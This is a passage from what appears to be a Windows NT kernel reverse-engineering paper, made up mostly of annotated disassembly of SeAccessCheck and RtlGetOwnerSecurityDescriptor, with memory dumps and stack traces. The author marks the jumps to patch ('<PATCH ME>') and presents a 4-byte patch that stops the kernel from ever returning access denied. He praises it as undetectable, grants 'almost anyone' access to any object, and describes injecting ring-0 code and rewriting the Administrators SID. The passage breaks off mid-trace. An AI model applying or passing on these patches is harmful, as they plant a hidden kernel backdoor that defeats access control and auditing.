|
||
8019A1E4
|
||
8019A1E4 loc_8019A1E4: ; CODE XREF: SeAccessCheck+F2
|
||
8019A1E4 and ebx, 0FFF9FFFFh
|
||
8019A1EA
|
||
8019A1EA loc_8019A1EA: ; CODE XREF: SeAccessCheck+CC
|
||
8019A1EA ; SeAccessCheck+E4
|
||
8019A1EA test ebx, ebx
|
||
8019A1EC jnz short loc_8019A20C
|
||
8019A1EE cmp [ebp+arg_8], 0
|
||
8019A1F2 jnz short loc_8019A1FA
|
||
8019A1F4 push esi
|
||
8019A1F5 call SeUnlockSubjectContext
|
||
8019A1FA
|
||
8019A1FA loc_8019A1FA: ; CODE XREF: SeAccessCheck+10
|
||
8019A1FA mov eax, [ebp+arg_10]
|
||
8019A1FD mov edx, [ebp+arg_24]
|
||
8019A200 mov [edi], eax
|
||
8019A202 mov al, 1
|
||
8019A204 mov dword ptr [edx], 0
|
||
8019A20A jmp short loc_8019A23A
|
||
8019A20C ;
|
||
===========================================================================
|
||
|
||
Since most of the arguments are being passed to this, it looks like this
|
||
routine is a wrapper for this other one.. lets delve deeper....
|
||
|
||
8019A20C
|
||
8019A20C loc_8019A20C: ; CODE XREF: SeAccessCheck+106
|
||
8019A20C push [ebp+arg_24]
|
||
8019A20F push [ebp+arg_14]
|
||
8019A212 push edi
|
||
8019A213 push [ebp+arg_1C]
|
||
8019A216 push [ebp+arg_10]
|
||
8019A219 push [ebp+arg_18]
|
||
8019A21C push ebx
|
||
8019A21D push dword ptr [esi]
|
||
8019A21F push dword ptr [esi+8]
|
||
8019A222 push [ebp+arg_0]
|
||
8019A225 call sub_80199836 ; decompiled below ***
|
||
8019A22A cmp [ebp+arg_8], 0
|
||
8019A22E mov bl, al
|
||
8019A230 jnz short loc_8019A238
|
||
8019A232 push esi
|
||
8019A233 call SeUnlockSubjectContext ; not usually hit
|
||
8019A238
|
||
8019A238 loc_8019A238: ; CODE XREF: SeAccessCheck+14A
|
||
8019A238 mov al, bl
|
||
8019A23A
|
||
8019A23A loc_8019A23A: ; CODE XREF: SeAccessCheck+4C
|
||
8019A23A ; SeAccessCheck+65 ...
|
||
8019A23A pop edi
|
||
8019A23B pop esi
|
||
8019A23C pop ebx
|
||
8019A23D pop ebp
|
||
8019A23E retn 28h
|
||
8019A23E SeAccessCheck endp
|
||
|
||
|
||
Subroutine called from SeAccessCheck. Looks like most of work is being done in
|
||
here. I will try to patch this routine.
|
||
|
||
80199836 ;
|
||
==============================================================================
|
||
80199836
|
||
80199836 ; S u b r o u t i n e
|
||
80199836 ; Attributes: bp-based frame
|
||
80199836
|
||
80199836 sub_80199836 proc near ; CODE XREF: PAGE:80199FFA
|
||
80199836 ; SeAccessCheck+13F ...
|
||
80199836
|
||
80199836 var_14 = dword ptr -14h
|
||
80199836 var_10 = dword ptr -10h
|
||
80199836 var_C = dword ptr -0Ch
|
||
80199836 var_8 = dword ptr -8
|
||
80199836 var_2 = byte ptr -2
|
||
80199836 arg_0 = dword ptr 8
|
||
80199836 arg_4 = dword ptr 0Ch
|
||
80199836 arg_8 = dword ptr 10h
|
||
80199836 arg_C = dword ptr 14h
|
||
80199836 arg_10 = dword ptr 18h
|
||
80199836 arg_16 = byte ptr 1Eh
|
||
80199836 arg_17 = byte ptr 1Fh
|
||
80199836 arg_18 = dword ptr 20h
|
||
80199836 arg_1C = dword ptr 24h
|
||
80199836 arg_20 = dword ptr 28h
|
||
80199836 arg_24 = dword ptr 2Ch
|
||
80199836
|
||
80199836 push ebp
|
||
80199837 mov ebp, esp
|
||
80199839 sub esp, 14h
|
||
8019983C push ebx
|
||
8019983D push esi
|
||
8019983E push edi
|
||
8019983F xor ebx, ebx
|
||
80199841 mov eax, [ebp+arg_8] ; pulls eax
|
||
80199844 mov [ebp+var_14], ebx ; ebx is zero, looks
|
||
; like it init's a
|
||
; bunch of local vars
|
||
80199847 mov [ebp+var_C], ebx
|
||
8019984A mov [ebp-1], bl
|
||
8019984D mov [ebp+var_2], bl
|
||
80199850 cmp eax, ebx ; check that arg8 is
|
||
; NULL
|
||
80199852 jnz short loc_80199857
|
||
80199854 mov eax, [ebp+arg_4] ; arg4 pts to
|
||
; "USER32 "
|
||
80199857
|
||
80199857 loc_80199857:
|
||
80199857 mov edi, [ebp+arg_C] ; checking some flags
|
||
; off of this one
|
||
8019985A mov [ebp+var_8], eax ; var_8 = arg_4
|
||
8019985D test edi, 1000000h ; obviously flags..
|
||
; desired access mask
|
||
; I think...
|
||
|
||
80199863 jz short loc_801998CA ; normally this jumps..
|
||
; go ahead and jump
|
||
80199865 push [ebp+arg_18]
|
||
80199868 push [ebp+var_8]
|
||
8019986B push dword_8014EE94
|
||
80199871 push dword_8014EE90
|
||
80199877 call sub_8019ADE0 ; another undoc'd sub
|
||
8019987C test al, al ; return code
|
||
8019987E jnz short loc_80199890
|
||
80199880 mov ecx, [ebp+arg_24]
|
||
80199883 xor al, al
|
||
80199885 mov dword ptr [ecx], 0C0000061h
|
||
8019988B jmp loc_80199C0C
|
||
80199890 ;
|
||
===========================================================================
|
||
removed source here
|
||
801998CA ;
|
||
===========================================================================
|
||
801998CA
|
||
801998CA loc_801998CA: ; jump from above lands here
|
||
801998CA ; sub_80199836
|
||
801998CA mov eax, [ebp+arg_0] ; arg0 pts to a
|
||
; Security Descriptor
|
||
801998CD mov dx, [eax+2] ; offset 2 is that
|
||
; 80 04 number...
|
||
801998D1 mov cx, dx
|
||
801998D4 and cx, 4 ; 80 04 become 00 04
|
||
801998D8 jz short loc_801998EA ; normally doesnt jump
|
||
801998DA mov esi, [eax+10h] ; SD[10h] is an offset
|
||
; value to the DACL in
|
||
; the SD
|
||
801998DD test esi, esi ; make sure it exists
|
||
801998DF jz short loc_801998EA
|
||
801998E1 test dh, 80h
|
||
801998E4 jz short loc_801998EC
|
||
801998E6 add esi, eax ; FFWDS to first DACL
|
||
; in SD ******
|
||
801998E8 jmp short loc_801998EC ; normally all good
|
||
; here, go ahead and
|
||
; jump
|
||
801998EA ;
|
||
===========================================================================
|
||
801998EA
|
||
801998EA loc_801998EA: ; CODE XREF: sub_80199836+A2
|
||
801998EA ; sub_80199836+A9
|
||
801998EA xor esi, esi
|
||
801998EC
|
||
801998EC loc_801998EC: ; CODE XREF: sub_80199836+AE
|
||
801998EC ; sub_80199836+B2
|
||
801998EC cmp cx, 4 ; jump lands here
|
||
801998F0 jnz loc_80199BC6
|
||
801998F6 test esi, esi
|
||
801998F8 jz loc_80199BC6
|
||
801998FE test edi, 80000h ; we normally dont match this,
|
||
; so go ahead and jump
|
||
80199904 jz short loc_8019995E
|
||
*** removed source here ***
|
||
8019995E ;
|
||
===========================================================================
|
||
8019995E
|
||
8019995E loc_8019995E: ; CODE XREF: sub_80199836+CE
|
||
8019995E ; sub_80199836+D4 ...
|
||
8019995E movzx eax, word ptr [esi+4] ; jump lands
|
||
80199962 mov [ebp+var_10], eax ; offset 4 is number of
|
||
; ACE's present in DACL
|
||
; var_10 = # Ace's
|
||
80199965 xor eax, eax
|
||
80199967 cmp [ebp+var_10], eax
|
||
8019996A jnz short loc_801999B7 ; normally jump
|
||
*** removed source here ***
|
||
801999A2 ;
|
||
===========================================================================
|
||
*** removed source here ***
|
||
801999B7 ;
|
||
===========================================================================
|
||
801999B7
|
||
801999B7 loc_801999B7: ; CODE XREF: sub_80199836+134
|
||
801999B7 test byte ptr [ebp+arg_C+3], 2 ; looks like part of
|
||
; the flags data,
|
||
; we usually jump
|
||
801999BB jz loc_80199AD3
|
||
*** removed source here ***
|
||
80199AD3 ;
|
||
===========================================================================
|
||
80199AD3
|
||
80199AD3 loc_80199AD3: ; CODE XREF: sub_80199836+185
|
||
80199AD3 mov [ebp+var_C], 0 ; jump lands here
|
||
80199ADA add esi, 8
|
||
80199ADD cmp [ebp+var_10], 0 ; is number of ACE's zero?
|
||
80199AE1 jz loc_80199B79 ; normally not
|
||
80199AE7
|
||
80199AE7 loc_80199AE7: ; CODE XREF: sub_80199836+33D
|
||
80199AE7 test edi, edi ; the EDI register is very
|
||
; important we will continue
|
||
; to loop back to this point
|
||
; as we traverse each ACE
|
||
; the EDI register is modified
|
||
; with each ACE's access mask
|
||
; if a SID match occurs.
|
||
; Access is allowed only if
|
||
; EDI is completely blank
|
||
; by the time we are done. :-)
|
||
|
||
80199AE9 jz loc_80199B79 ; jumps to exit routine
|
||
; if EDI is blank
|
||
|
||
80199AEF test byte ptr [esi+1], 8 ; checks for ACE value
|
||
; 8, second byte..
|
||
; i dont know what
|
||
; this is, but if it's
|
||
; not 8, its not
|
||
; evaluated, not
|
||
; important
|
||
80199AF3 jnz short loc_80199B64
|
||
80199AF5 mov al, [esi] ; this is the ACE type,
|
||
; which is 0, 1, or 4
|
||
80199AF7 test al, al ; 0 is ALLOWED_TYPE and
|
||
; 1 is DENIED_TYPE
|
||
80199AF9 jnz short loc_80199B14 ; jump to next block if
|
||
; it's not type 0
|
||
80199AFB lea eax, [esi+8] ; offset 8 is the SID
|
||
80199AFE push eax ; pushes the ACE
|
||
80199AFF push [ebp+var_8]
|
||
80199B02 call sub_801997C2 ; checks to see if the
|
||
; caller matches the
|
||
; SID return of 1 says
|
||
; we matched, 0 means
|
||
; we did not
|
||
80199B07 test al, al
|
||
80199B09 jz short loc_80199B64 ; a match here is good,
|
||
; since its the ALLOWED
|
||
; list
|
||
; so a 2 byte patch can
|
||
; NOP out this jump
|
||
; <PATCH ME>
|
||
80199B0B mov eax, [esi+4]
|
||
80199B0E not eax
|
||
80199B10 and edi, eax ; whiddles off the part
|
||
; of EDI that we
|
||
; matched ..
|
||
; this chopping of
|
||
; flags can go on through
|
||
; many loops
|
||
; remember, we are only
|
||
; good if ALL of EDI is
|
||
; chopped away...
|
||
80199B12 jmp short loc_80199B64
|
||
80199B14 ;
|
||
===========================================================================
|
||
80199B14
|
||
80199B14 loc_80199B14: ; CODE XREF: sub_80199836+2C3
|
||
80199B14 cmp al, 4 ; check for ACE type 4
|
||
80199B16 jnz short loc_80199B4B ; normally we aren't
|
||
; this type, so jump
|
||
*** removed source here ***
|
||
80199B4B ;
|
||
===========================================================================
|
||
80199B4B
|
||
80199B4B loc_80199B4B: ; CODE XREF: sub_80199836+2E0j
|
||
80199B4B cmp al, 1 ; check for DENIED type
|
||
80199B4D jnz short loc_80199B64
|
||
80199B4F lea eax, [esi+8] ; offset 8 is the SID
|
||
80199B52 push eax
|
||
80199B53 push [ebp+var_8]
|
||
80199B56 call sub_801997C2 ; check the callers SID
|
||
80199B5B test al, al ; a match here is BAD,
|
||
; since we are being
|
||
; DENIED
|
||
80199B5D jz short loc_80199B64 ; so make JZ a normal
|
||
; JMP <PATCH ME>
|
||
|
||
80199B5F test [esi+4], edi ; we avoid this flag
|
||
; check w/ the patch
|
||
80199B62 jnz short loc_80199B79
|
||
80199B64
|
||
80199B64 loc_80199B64: ; CODE XREF: sub_80199836+2BD
|
||
80199B64 ; sub_80199836+2D3
|
||
80199B64 mov ecx, [ebp+var_10] ; our loop routine,
|
||
; called from above as
|
||
; we loop around and
|
||
; around.
|
||
; var_10 is the number
|
||
; of ACE's
|
||
80199B67 inc [ebp+var_C] ; var_C is the current
|
||
; ACE
|
||
80199B6A movzx eax, word ptr [esi+2] ; byte 3 is the offset
|
||
; to the next ACE
|
||
80199B6E add esi, eax ; FFWD
|
||
80199B70 cmp [ebp+var_C], ecx ; check to see if we
|
||
; are done
|
||
80199B73 jb loc_80199AE7 ; if not, go back up...
|
||
80199B79
|
||
80199B79 loc_80199B79: ; CODE XREF: sub_80199836+2AB
|
||
80199B79 ; sub_80199836+2B3
|
||
80199B79 xor eax, eax ; this is our general
|
||
; exit routine
|
||
80199B7B test edi, edi ; if EDI isnt empty,
|
||
; then a DENIED state
|
||
; was reached above
|
||
80199B7D jz short loc_80199B91 ; so patch the JZ into
|
||
; a JMP so we never
|
||
; return ACCESS_DENIED
|
||
; <PATCH ME>
|
||
80199B7F mov ecx, [ebp+arg_1C]
|
||
80199B82 mov [ecx], eax
|
||
80199B84 mov eax, [ebp+arg_24]
|
||
; STATUS_ACCESS_DENIED
|
||
80199B87 mov dword ptr [eax], 0C0000022h
|
||
80199B8D xor al, al
|
||
80199B8F jmp short loc_80199C0C
|
||
80199B91 ;
|
||
===========================================================================
|
||
80199B91
|
||
80199B91 loc_80199B91: ; CODE XREF: sub_80199836+347
|
||
80199B91 mov eax, [ebp+1Ch]
|
||
80199B94 mov ecx, [ebp+arg_1C] ; result code into
|
||
; &arg_1C
|
||
80199B97 or eax, [ebp+arg_C] ; checked passed in
|
||
; mask
|
||
80199B9A mov [ecx], eax
|
||
80199B9C mov ecx, [ebp+arg_24] ; result code into
|
||
; &arg_24, should be
|
||
; zero
|
||
80199B9F jnz short loc_80199BAB ; if everything above
|
||
; went OK, we should
|
||
jump
|
||
80199BA1 xor al, al
|
||
80199BA3 mov dword ptr [ecx], 0C0000022h
|
||
80199BA9 jmp short loc_80199C0C
|
||
80199BAB ;
|
||
===========================================================================
|
||
80199BAB
|
||
80199BAB loc_80199BAB: ; CODE XREF: sub_80199836+369
|
||
80199BAB mov dword ptr [ecx], 0 ; Good and Happy
|
||
; things, we passed!
|
||
80199BB1 test ebx, ebx
|
||
80199BB3 jz short loc_80199C0A
|
||
80199BB5 push [ebp+arg_20]
|
||
80199BB8 push dword ptr [ebp+var_2]
|
||
80199BBB push dword ptr [ebp-1]
|
||
80199BBE push ebx
|
||
80199BBF call sub_8019DC80
|
||
80199BC4 jmp short loc_80199C0A
|
||
80199BC6 ;
|
||
===========================================================================
|
||
removed code here
|
||
80199C0A loc_80199C0A: ; CODE XREF: sub_80199836+123
|
||
80199C0A ; sub_80199836+152
|
||
80199C0A mov al, 1
|
||
80199C0C
|
||
80199C0C loc_80199C0C: ; CODE XREF: sub_80199836+55
|
||
80199C0C ; sub_80199836+8F
|
||
80199C0C pop edi
|
||
80199C0D pop esi
|
||
80199C0E pop ebx
|
||
80199C0F mov esp, ebp
|
||
80199C11 pop ebp
|
||
80199C12 retn 28h ; Outta Here!
|
||
80199C12 sub_80199836 endp
|
||
|
||
Whew!
|
||
|
||
Some STRUCTURE dumps along the way:
|
||
|
||
:d eax
|
||
0023:E1A1C174 01 00 04 80 DC 00 00 00-EC 00 00 00 00 00 00 00 ................
|
||
; this looks like a SD
|
||
0023:E1A1C184 14 00 00 00 02 00 C8 00-08 00 00 00 00 09 18 00 ................
|
||
0023:E1A1C194 00 00 00 10 01 01 00 00-00 00 00 03 00 00 00 00 ................
|
||
0023:E1A1C1A4 00 00 00 00 00 02 18 00-FF 01 1F 00 01 01 00 00 ................
|
||
0023:E1A1C1B4 00 00 00 03 00 00 00 00-00 00 00 00 00 09 18 00 ................
|
||
0023:E1A1C1C4 00 00 00 10 01 01 00 00-00 00 00 05 12 00 00 00 ................
|
||
0023:E1A1C1D4 00 00 00 00 00 02 18 00-FF 01 1F 00 01 01 00 00 ................
|
||
0023:E1A1C1E4 00 00 00 05 12 00 00 00-00 00 00 00 00 09 18 00 ................
|
||
|
||
:d esi
|
||
0023:E1A1C188 02 00 C8 00 08 00 00 00-00 09 18 00 00 00 00 10 ................
|
||
; OFFSET into the SD (DACL)
|
||
0023:E1A1C198 01 01 00 00 00 00 00 03-00 00 00 00 00 00 00 00 ................
|
||
0023:E1A1C1A8 00 02 18 00 FF 01 1F 00-01 01 00 00 00 00 00 03 ................
|
||
0023:E1A1C1B8 00 00 00 00 00 00 00 00-00 09 18 00 00 00 00 10 ................
|
||
0023:E1A1C1C8 01 01 00 00 00 00 00 05-12 00 00 00 00 00 00 00 ................
|
||
0023:E1A1C1D8 00 02 18 00 FF 01 1F 00-01 01 00 00 00 00 00 05 ................
|
||
0023:E1A1C1E8 12 00 00 00 00 00 00 00-00 09 18 00 00 00 00 10 ................
|
||
0023:E1A1C1F8 01 02 00 00 00 00 00 05-20 00 00 00 20 02 00 00 ........ ... ...
|
||
|
||
|
||
The following formats appear to be the SD, DACL, and ACE:
|
||
|
||
SD:
|
||
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
|
||
r | |04|80|fo| | | |fg| | | | | | |fd| | --==>
|
||
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
|
||
r: Revision, must be 1
|
||
fo: Offset to Owner SID
|
||
fg: Offset to Group SID
|
||
fd: Offset to DACL
|
||
|
||
ACL:
|
||
-- -- -- -- -- -- -- -- -- --
|
||
r | | | |na| | | |sa| | --==>
|
||
-- -- -- -- -- -- -- -- -- --
|
||
r: Revision?
|
||
na: Number of ACE's
|
||
sa: Start of first ACE
|
||
|
||
ACE:
|
||
-- -- -- -- -- -- -- -- -- --
|
||
t |i |oa| |am| | | |ss| | --==>
|
||
-- -- -- -- -- -- -- -- -- --
|
||
t: type, 0, 1, or 4
|
||
i: the ACE is ignored if this value isn't 8
|
||
oa: offset to next ACE
|
||
am: access mask associated with this SID
|
||
ss: start of the SID, normally at offset 8, but for ACE type 4, will be at
|
||
offset 0Ch
|
||
|
||
So there you have it, a 4 byte patch. Application of this patch will allow
|
||
almost anyone access to almost any object on your NT domain. Also, it is
|
||
undetectable when auditing ACL's and the such. The only indication something
|
||
is wrong is the fact your now opening the SAM database from a normal account
|
||
w/o a hitch... I can kill any process without being denied access.. God knows
|
||
what the NULL User session can get away with!. I like that. 8-/. Gee, it's
|
||
almost USEFUL isn't it?
|
||
|
||
|
||
Reverse Engineering & Patch of the RTLGetOwnerSecurityDescriptor() function
|
||
---------------------------------------------------------------------------
|
||
|
||
As if the last patch wasn't good enough, this patch should illustrate how easy
|
||
it is add your own code to the Kernel. Simply by patching a single jump, I
|
||
was able to detour the execution path into a highwayman's patch, and return
|
||
back to normal execution without a hitch. This patch alters a SID in memory,
|
||
violating the integrity of the security system. With a little creative light,
|
||
this patch could be so much more. There are hundreds of routines in the
|
||
ntoskrnl.exe. You are executing your own code in ring-0, so anything is
|
||
possible. If for any other reason, this paper should open your mind to the
|
||
possibilities. Reversing the NT Kernel is nothing new, I am quite sure.
|
||
I would bet that the NSA has the full source to the NT Kernel, and has written
|
||
some very elaborate patches. In fact, they were probably on that for NT 3.5.
|
||
|
||
80184AAC ;
|
||
===========================================================================
|
||
80184AAF align 4
|
||
80184AB0 ; Exported entry 719. RtlGetOwnerSecurityDescriptor
|
||
80184AB0
|
||
80184AB0 ;
|
||
===========================================================================
|
||
80184AB0
|
||
80184AB0 ; S u b r o u t i n e
|
||
80184AB0 ; Attributes: bp-based frame
|
||
80184AB0
|
||
80184AB0 public RtlGetOwnerSecurityDescriptor
|
||
80184AB0 RtlGetOwnerSecurityDescriptor proc near ; CODE XREF: sub_8018F318+22
|
||
80184AB0
|
||
80184AB0 arg_0 = dword ptr 8
|
||
80184AB0 arg_4 = dword ptr 0Ch
|
||
80184AB0 arg_8 = dword ptr 10h
|
||
80184AB0
|
||
80184AB0 push ebp
|
||
80184AB1 mov edx, [esp+arg_0]
|
||
80184AB5 mov ebp, esp
|
||
80184AB7 push esi
|
||
|
||
//
|
||
// MessageId: STATUS_UNKNOWN_REVISION
|
||
//
|
||
// MessageText:
|
||
//
|
||
// Indicates a revision number encountered or specified is not one
|
||
// known by the service. It may be a more recent revision than the
|
||
// service is aware of.
|
||
//
|
||
#define STATUS_UNKNOWN_REVISION ((NTSTATUS)0xC0000058L)
|
||
|
||
On SD Revision:
|
||
The user mode function InitializeSecurityDescriptor() will set the revision
|
||
number for the SD. The InitializeSecurityDescriptor() function initializes a
|
||
new security descriptor.
|
||
|
||
BOOL InitializeSecurityDescriptor(
|
||
PSECURITY_DESCRIPTOR pSecurityDescriptor, // address of security descriptor
|
||
DWORD dwRevision // revision level
|
||
);
|
||
|
||
Parameters:
|
||
pSecurityDescriptor: Points to a SECURITY_DESCRIPTOR structure that the
|
||
function initializes.
|
||
|
||
dwRevision: Specifies the revision level to assign to the security descriptor.
|
||
This must be SECURITY_DESCRIPTOR_REVISION.
|
||
|
||
80184AB8 cmp byte ptr [edx], 1 ; Ptr to decimal
|
||
; value usually 01,
|
||
; (SD Revision)
|
||
80184ABB jz short loc_80184AC4
|
||
; STATUS CODE (STATUS_UNKNOWN_REVISION)
|
||
80184ABD mov eax, 0C0000058h
|
||
80184AC2 jmp short loc_80184AF3 ; will exit
|
||
|
||
The next block here does some operations against the object stored *edx, which
|
||
is our first argument to this function. I think this may be a SD. There are
|
||
two different forms of an SD, absolute and relative.. here is the doc:
|
||
|
||
A security descriptor can be in absolute or self-relative form. In
|
||
self-relative form, all members of the structure are located contiguously
|
||
in memory. In absolute form, the structure only contains pointers to the
|
||
members.
|
||
|
||
This [edx] object is passed in as absolute:
|
||
|
||
Argument 1 (a SECURITY_DESCRIPTOR structure):
|
||
:d edx
|
||
0023:E1F47488 01 00 04 80 5C 00 00 00-6C 00 00 00 00 00 00 00 ....\...l.......
|
||
; 01 Revision, Flags 04,
|
||
; Offset to Owner SID is 5C,
|
||
; Offset to Primary Group SID is 6C
|
||
|
||
0023:E1F47498 14 00 00 00 02 00 48 00-02 00 00 00 00 00 18 00 ......H.........
|
||
0023:E1F474A8 FF 00 0F 00 01 02 00 00-00 00 00 05 20 00 00 00 ............ ...
|
||
0023:E1F474B8 20 02 00 00 00 00 14 00-FF 00 0F 00 01 01 00 00 ...............
|
||
0023:E1F474C8 00 00 00 05 12 00 00 00-00 00 4E 00 C8 FD 14 00 ..........N.....
|
||
0023:E1F474D8 E8 00 14 00 41 00 64 00-6D 00 69 00 01 02 00 00 ....A.d.m.i.....
|
||
; SIDS start here, see below
|
||
0023:E1F474E8 00 00 00 05 20 00 00 00-20 02 00 00 01 05 00 00 .... ... .......
|
||
0023:E1F474F8 00 00 00 05 15 00 00 00-BA 5D FF 0C 5C 4F CF 51 .........]..\O.Q
|
||
|
||
80184AC4 ;
|
||
===========================================================================
|
||
80184AC4
|
||
80184AC4 loc_80184AC4: ; CODE XREF:
|
||
; RtlGetOwnerSecurityDescriptor+B
|
||
80184AC4 mov eax, [edx+4] ; we are here if the revision
|
||
; is good
|
||
80184AC7 xor ecx, ecx
|
||
80184AC9 test eax, eax ; 01 00 04 80 >5C< which is
|
||
; [edx+4] must not be zero
|
||
; if the value IS zero, this
|
||
; means the SD does NOT have a
|
||
; owner, and it sets argument
|
||
; 2 to NULL, then returns,
|
||
; ignoring argument 3
|
||
; altogether.
|
||
80184ACB jnz short loc_80184AD4
|
||
80184ACD mov esi, [ebp+arg_4]
|
||
80184AD0 mov [esi], ecx
|
||
80184AD2 jmp short loc_80184AE1
|
||
80184AD4 ;
|
||
===========================================================================
|
||
80184AD4
|
||
80184AD4 loc_80184AD4: ; CODE XREF:
|
||
; RtlGetOwnerSecurityDescriptor+1B
|
||
80184AD4 test byte ptr [edx+3], 80h ; 01 00 04 >80< 5C
|
||
; which is [edx+3]
|
||
must be 80
|
||
80184AD8 jz short loc_80184ADC
|
||
80184ADA add eax, edx ; adds edx to 5C,
|
||
; which must be an
|
||
; offset to the SID
|
||
; within the SD
|
||
|
||
Note a couple of SIDS hanging around in this memory location. The first one is
|
||
the Owner, the second one must be the Group. The first SID, 1-5-20-220 is
|
||
BUILTIN\Administrators. By changing the 220 to a 222, we can alter this to be
|
||
BUILTIN\Guests. This will cause serious security problems. That second SID
|
||
happens to be long nasty one.. that is your first indication that it's NOT a
|
||
built-in group. In fact, in this case, the group is ANSUZ\None, a local group
|
||
on my NT Server (my server is obviously named ANSUZ.. ;)
|
||
|
||
:d eax
|
||
0023:E1A49F84 01 02 00 00 00 00 00 05-20 00 00 00 20 02 00 00 ........ ... ...
|
||
; This is a SID in memory (1-5-20-220)
|
||
0023:E1A49F94 01 05 00 00 00 00 00 05-15 00 00 00 BA 5D FF 0C .............]..
|
||
; another SID
|
||
0023:E1A49FA4 5C 4F CF 51 FD 28 9A 4E-01 02
|
||
; (1-5-15-CFF5DBA-51CF4F5C-4E9A28FD-201)
|
||
|
||
Here we start working with arguments 1 & 2:
|
||
80184ADC
|
||
80184ADC loc_80184ADC: ; CODE XREF:
|
||
; RtlGetOwnerSecurityDescriptor+28
|
||
80184ADC mov esi, [ebp+arg_4]
|
||
80184ADF mov [esi], eax ; moving the address of the
|
||
; SID through the user
|
||
; supplied ptr (PSID pOwner)
|
||
80184AE1
|
||
80184AE1 loc_80184AE1: ; CODE XREF:
|
||
; RtlGetOwnerSecurityDescriptor+22
|
||
80184AE1 mov ax, [edx+2] ; some sort of flags
|
||
; 01 00 >04< 80 5C
|
||
80184AE5 mov edx, [ebp+arg_8]; argument 3, which is to be
|
||
; filled in with
|
||
flags data
|
||
80184AE8 and al, 1
|
||
80184AEA cmp al, 1 ; checking against a mask of
|
||
; 0x01
|
||
80184AEC setz cl ; set based on flags register
|
||
; (if previous compare was
|
||
true)
|
||
80184AEF xor eax, eax ; status is zero, all good ;)
|
||
80184AF1 mov [edx], cl ; the value is set for
|
||
; SE_OWNER_DEFAULTED
|
||
; true/false
|
||
80184AF3
|
||
80184AF3 loc_80184AF3: ; CODE XREF:
|
||
; RtlGetOwnerSecurityDescriptor+12
|
||
80184AF3 pop esi
|
||
80184AF4 pop ebp
|
||
80184AF5 retn 0Ch ; outta here, status in EAX
|
||
80184AF5 RtlGetOwnerSecurityDescriptor endp
|
||
|
||
|
||
This routine is called from the following stack(s):
|
||
|
||
(NtOpenProcessToken)
|
||
Break due to BPX ntoskrnl!RtlGetOwnerSecurityDescriptor (ET=31.98
|
||
milliseconds)
|
||
:stack at 001B:00000000 (SS:EBP 0010:00000000)
|
||
ntoskrnl!KiReleaseSpinLock+09C4 at 0008:8013CC94 (SS:EBP 0010:F8E3FF04)
|
||
ntoskrnl!NtOpenProcessToken+025E at 0008:80198834 (SS:EBP 0010:F8E3FEEC)
|
||
ntoskrnl!ObInsertObject+026F at 0008:8018CDD5 (SS:EBP 0010:F8E3FE50)
|
||
ntoskrnl!ObAssignSecurity+0059 at 0008:801342A3 (SS:EBP 0010:F8E3FD80)
|
||
ntoskrnl!SeSinglePrivilegeCheck+018F at 0008:8019E80F (SS:EBP 0010:F8E3FD48)
|
||
ntoskrnl!ObCheckCreateObjectAccess+0149 at 0008:801340E1 (SS:EBP 0010:F8E3FD34)
|
||
ntoskrnl!ObQueryObjectAuditingByHandle+1BFB at 0008:8018F413 (SS:EBP
|
||
0010:F8E3FD20)
|
||
=> ntoskrnl!RtlGetOwnerSecurityDescriptor at 0008:80184AB0 (SS:EBP
|
||
0010:F8E3FD00)
|
||
|
||
(PsCreateWin32Process)
|
||
Break due to BPX ntoskrnl!RtlGetOwnerSecurityDescriptor (ET=3.62 milliseconds)
|
||
:stack
|
||
ntoskrnl!KiReleaseSpinLock+09C4 at 0008:8013CC94 (SS:EBP 0010:F8CDFF04)
|
||
ntoskrnl!PsCreateWin32Process+01E7 at 0008:80192B5D (SS:EBP 0010:F8CDFEDC)
|
||
ntoskrnl!PsCreateSystemThread+04CE at 0008:8019303E (SS:EBP 0010:F8CDFE6C)
|
||
ntoskrnl!ObInsertObject+026F at 0008:8018CDD5 (SS:EBP 0010:F8CDFDC8)
|
||
ntoskrnl!ObAssignSecurity+0059 at 0008:801342A3 (SS:EBP 0010:F8CDFCF8)
|
||
ntoskrnl!SeSinglePrivilegeCheck+018F at 0008:8019E80F (SS:EBP 0010:F8CDFCC0)
|
||
ntoskrnl!ObCheckCreateObjectAccess+0149 at 0008:801340E1 (SS:EBP 0010:F8CDFCAC)
|
||
ntoskrnl!ObQueryObjectAuditingByHandle+1BFB at 0008:8018F413 (SS:EBP
|
||
0010:F8CDFC98)
|
||
=> ntoskrnl!RtlGetOwnerSecurityDescriptor at 0008:80184AB0 (SS:EBP
|
||
0010:F8CDFC78)
|
||
|
||
(PsCreateSystemThread)
|
||
:stack
|
||
ntoskrnl!KiReleaseSpinLock+09C4 at 0008:8013CC94 (SS:EBP 0010:F8CDFF04)
|
||
ntoskrnl!PsCreateSystemThread+0731 at 0008:801932A1 (SS:EBP 0010:F8CDFEDC)
|
||
ntoskrnl!PsCreateSystemProcess+05FD at 0008:801938B1 (SS:EBP 0010:F8CDFE8C)
|
||
ntoskrnl!ObInsertObject+026F at 0008:8018CDD5 (SS:EBP 0010:F8CDFDEC)
|
||
ntoskrnl!ObAssignSecurity+0059 at 0008:801342A3 (SS:EBP 0010:F8CDFD1C)
|
||
ntoskrnl!SeSinglePrivilegeCheck+018F at 0008:8019E80F (SS:EBP 0010:F8CDFCE4)
|
||
ntoskrnl!ObCheckCreateObjectAccess+0149 at 0008:801340E1 (SS:EBP 0010:F8CDFCD0)
|
||
ntoskrnl!ObQueryObjectAuditingByHandle+1BFB at 0008:8018F413 (SS:EBP
|
||
0010:F8CDFCBC)
|
||
=> ntoskrnl!RtlGetOwnerSecurityDescriptor at 0008:80184AB0 (SS:EBP
|
||
0010:F8CDFC9C)
|
||
|
||
(SeTokenImpersonationLevel)
|
||
:stack
|
||
ntoskrnl!KiReleaseSpinLock+09C4 at 0008:8013CC94 (SS:EBP 0010:F8CDFF04)
|
||
ntoskrnl!PsCreateSystemThread+0731 at 0008:801932A1 (SS:EBP 0010:F8CDFEDC)
|
||
ntoskrnl!PsRevertToSelf+0063 at 0008:8013577D (SS:EBP 0010:F8CDFE8C)
|
||
ntoskrnl!SeTokenImpersonationLevel+01A3 at 0008:8019F12F (SS:EBP 0010:F8CDFDE8)
|
||
ntoskrnl!ObInsertObject+026F at 0008:8018CDD5 (SS:EBP 0010:F8CDFD9C)
|
||
ntoskrnl!ObAssignSecurity+0059 at 0008:801342A3 (SS:EBP 0010:F8CDFCCC)
|
||
ntoskrnl!SeSinglePrivilegeCheck+018F at 0008:8019E80F (SS:EBP 0010:F8CDFC94)
|
||
